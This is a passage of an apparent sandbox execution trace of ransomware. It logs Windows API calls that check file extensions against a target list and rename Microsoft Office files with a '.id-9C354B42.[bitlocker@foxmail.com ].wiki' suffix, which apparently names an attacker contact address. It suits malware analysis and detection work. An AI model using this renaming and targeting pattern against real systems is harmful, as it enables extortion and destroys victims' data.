(lpString=".bz2") returned 4 [0148.840] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.840] lstrlenW (lpString=".7z") returned 3 [0148.840] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.840] lstrlenW (lpString=".dbf") returned 4 [0148.840] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.841] lstrlenW (lpString=".1cd") returned 4 [0148.841] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.841] lstrlenW (lpString=".jpg") returned 4 [0148.841] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.841] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0148.841] lstrlenW (lpString="BOLDSTRI.ELM") returned 12 [0148.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.842] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=60154) returned 1 [0148.842] CloseHandle (hObject=0x1d4) returned 1 [0148.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0148.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.842] lstrlenW (lpString=".doc") returned 4 [0148.842] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0148.842] lstrlenW (lpString=".docx") returned 5 [0148.842] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0148.843] lstrlenW (lpString=".pdf") returned 4 [0148.843] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0148.843] lstrlenW (lpString=".xls") returned 4 [0148.843] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0148.843] lstrlenW (lpString=".xlsx") returned 5 [0148.843] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0148.843] lstrlenW (lpString=".ppt") returned 4 [0148.843] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.843] lstrlenW (lpString=".zip") returned 4 [0148.843] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0148.843] lstrlenW (lpString=".rar") returned 4 [0148.843] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0148.843] lstrlenW (lpString=".bz2") returned 4 [0148.843] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0148.843] lstrlenW (lpString=".7z") returned 3 [0148.843] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.843] lstrlenW (lpString=".dbf") returned 4 [0148.843] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.843] lstrlenW (lpString=".1cd") returned 4 [0148.843] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.843] lstrlenW (lpString=".jpg") returned 4 [0148.843] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.843] lstrlenW (lpString=".doc") returned 4 [0148.843] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0148.844] lstrlenW (lpString=".docx") returned 5 [0148.844] lstrcmpiW (lpString1=".docx", lpString2="I.ELM") returned -1 [0148.844] lstrlenW (lpString=".pdf") returned 4 [0148.844] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0148.844] lstrlenW (lpString=".xls") returned 4 [0148.844] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0148.844] lstrlenW (lpString=".xlsx") returned 5 [0148.844] lstrcmpiW (lpString1=".xlsx", lpString2="I.ELM") returned -1 [0148.844] lstrlenW (lpString=".ppt") returned 4 [0148.844] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.844] lstrlenW (lpString=".zip") returned 4 [0148.844] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0148.844] lstrlenW (lpString=".rar") returned 4 [0148.844] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0148.844] lstrlenW (lpString=".bz2") returned 4 [0148.844] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0148.844] lstrlenW (lpString=".7z") returned 3 [0148.844] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.844] lstrlenW (lpString=".dbf") returned 4 [0148.844] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.844] lstrlenW (lpString=".1cd") returned 4 [0148.844] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned 77 [0148.844] lstrlenW (lpString=".jpg") returned 4 [0148.844] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0148.844] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0148.844] lstrlenW (lpString="BOLDSTRI.INF") returned 12 [0148.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.845] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=596) returned 1 [0148.845] CloseHandle (hObject=0x1d4) returned 1 [0148.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0148.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0148.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0148.845] lstrlenW (lpString=".doc") returned 4 [0148.845] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0148.845] lstrlenW (lpString=".docx") returned 5 [0148.845] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0148.845] lstrlenW (lpString=".pdf") returned 4 [0148.845] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0148.845] lstrlenW (lpString=".xls") returned 4 [0148.846] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0148.846] lstrlenW (lpString=".xlsx") returned 5 [0148.846] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0148.846] lstrlenW (lpString=".ppt") returned 4 [0148.846] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0148.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0148.846] lstrlenW (lpString=".zip") returned 4 [0148.846] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0148.846] lstrlenW (lpString=".rar") returned 4 [0148.846] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0148.846] lstrlenW (lpString=".bz2") returned 4 [0148.846] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0148.846] lstrlenW (lpString=".7z") returned 3 [0148.846] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0148.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0159.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0159.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 